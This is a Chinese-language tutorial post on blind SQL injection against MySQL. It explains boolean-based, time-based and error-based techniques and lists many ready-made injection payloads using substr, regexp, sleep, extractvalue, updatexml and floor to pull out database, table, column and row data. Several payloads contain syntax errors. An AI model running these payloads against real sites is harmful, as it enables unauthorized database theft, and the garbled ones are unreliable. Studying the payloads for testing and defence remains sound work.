SQL注入之盲注

SQL注入之盲注

  • 前言
  • 一、盲注分类
  • 二、具体解析
    • 1.基于布尔的sql盲注
      • 首先要先了解一下sql注入截取字符串常用的函数:
        • (1)mid()函数
        • (2)substr()函数
        • (3)left()函数
      • 具体注入方法
    • 2.基于时间的SQL盲注
    • 3.基于报错的SQL盲注
      • 1.extractvalue()函数
      • 2.updatexml()函数
      • 3.floor()函数
      • 案例(这里使用updatexml演示SQL语句获取user()值)
        • (1)利用updatexml获取user()
        • (2)利用updatexml获取database()(当前数据库名)
        • (3)利用报错注入获取获取数据库库名
        • (4)利用报错注入获取数据库表名


前言

何为盲注?盲注就是在 sql 注入过程中,sql 语句执行的选择后,选择的数据不能回显 到前端页面

一、盲注分类

盲注分为三类:
(1)基于布尔的SQL盲注
(2)基于事件的SQL盲注
(3)基于报错的SQL盲注

二、具体解析

1.基于布尔的sql盲注

首先要先了解一下sql注入截取字符串常用的函数:

(1)mid()函数

mid (string, start,length)
string

表示要提取字符的字段

start

规定开始位置(这里的起始值为1)

length

表示要返回的字符数

比如
str=‘weqweqwe’
mid(str,2,1)返回的值为e

(2)substr()函数

用于截取字符串
substr(string,start,length)参数的含义和mid函数的参数含义一致

(3)left()函数

得到字符串左部指定个数的字符
left(string,n)
string

要截取的字符串

n

长度(如果没有规定n的值就会返回剩余所有值)

//ORD()函数返回第一个字符的ascll码值常与上述三个函数联用

具体注入方法

(1)left(database(),1)

database()显示数据库名称,left(database(),1)从左侧截取 database() 的前 1 位

(2)ascii(substr((select table_name information_schema.tables where tables_schema =database()limit 0,1),1,1))=101 --+

substr(a,b,c)从 b 位置开始,截取字符串 a 的 c 长度。Ascii()将某个字符转换 为 ascii 值

(3)regexp 正则注入

1.判断第一个表名的第一个字符是否为a-z的字符假设abc是已知的库名

index.php?id=1 and 1=(select 1 from information_schema.table where table_schema="abc" and table_name regexp '^[az]' limit 0,1)

2.判断第一个字符是否为a-p中的字符

index.php?id=1 and a=(select 1 from information_schema.table where table_schema="abc" and table_name regexp '^[a-p]' limit 0,1)

3.确认该字符是p

index.php?id=1 and 1=(select 1 from information_schema.tables where table_schema="abc" table name regexp '^p' limit 0,1)

4.以此类推猜解之后的字符

index.php?id=1 and 1=(select 1 from information_schema.tables where table_schema="abc" table name regexp '^p[a-z]' limit 0,1)
........

2.基于时间的SQL盲注

延时注入是注入延时回显参数,根据是否延时来判断语句执行是否正确。当布尔盲注页面回显无区别时通常搭配延时注入使用。延时注入常用的函数有sleep(),if()

sleep(int m);延时m秒 if(boolean
res,a,b);首选判断res的返回值,true执行a,false执行b。有点类似编程里的三目运算符

' and if(length(database())=1,sleep(5),1)# 判断数据库长度如果长度为1就延迟5s,不是就返回1

但是一般不推荐使用延迟注入因为页面本身缓冲就有时间会对判断造成一定的影响

3.基于报错的SQL盲注

报错盲注就是使语句报错。报错注入则是注入特殊的语句使报错回显中带上我们需要的信息
常见的报错回显有三种函数extractvalue()、updatexml()、floor()

1.extractvalue()函数

extractvalue(xml_document,xpath_string)

' and(select extractvalue(1,concat(0x7e,(select database()),0x7e))) #查库
' and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))))#查表
' and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="TABLE_NAME"))))#查字段
' and(select extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME) from TABLE_NAME))))#查数据

2.updatexml()函数

updatexml(xml_document,xpath_string,new_value)

' or updatexml(1,concat('~',database(),'~'),1) # 查库
' union select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x7e),1) #查表
' union select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name="TABLE_NAME"),0x7e),1) #查字段
' union select updatexml(1,concat(0x7e,(select group_concat(COLUMN_NAME)from TABLE_NAME)),0x7e),1) #查数据

3.floor()函数

' union select 1 from (select count(*),concat((select database())," ",floor(rand(0)*2))x from information_schema.tables group by x)a#查库
' union select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1) ," ",floor(rand(0)*2))x from information_schema.tables group by x)a#查表
' union select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name="TABLE_NAME" limit 0,1) ," ",floor(rand(0)*2))x from information_schema.tables group by x)a#查字段
' union select 1 from (select count(*),concat((select COLUMN_NAME from TABLE_NAME limit 0,1) ," ",floor(rand(0)*2))x from information_schema.tables group by x)#查数据

note:extractvalue()和updatexml()函数查询字符串的最大长度为32,如果超过32要使用substring()函数(通过截取或limit一次查取的上限也为32位)

案例(这里使用updatexml演示SQL语句获取user()值)

(1)利用updatexml获取user()

‘and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+

这里的’0x7e‘是ASCLL编码的结果结果是’~‘

(2)利用updatexml获取database()(当前数据库名)

‘and updatexml(1,concat(0x7e,(select database(),0x7e),1)--+

(3)利用报错注入获取获取数据库库名

‘and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1,0x7e),1)--+

因为报错注入只显示一条结果所以要用到limit

(4)利用报错注入获取数据库表名

‘and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='test' limit 0,1,0x7e),1)--+

这里的test是从上一个语句获取的数据库库名

你可能感兴趣的:(安全)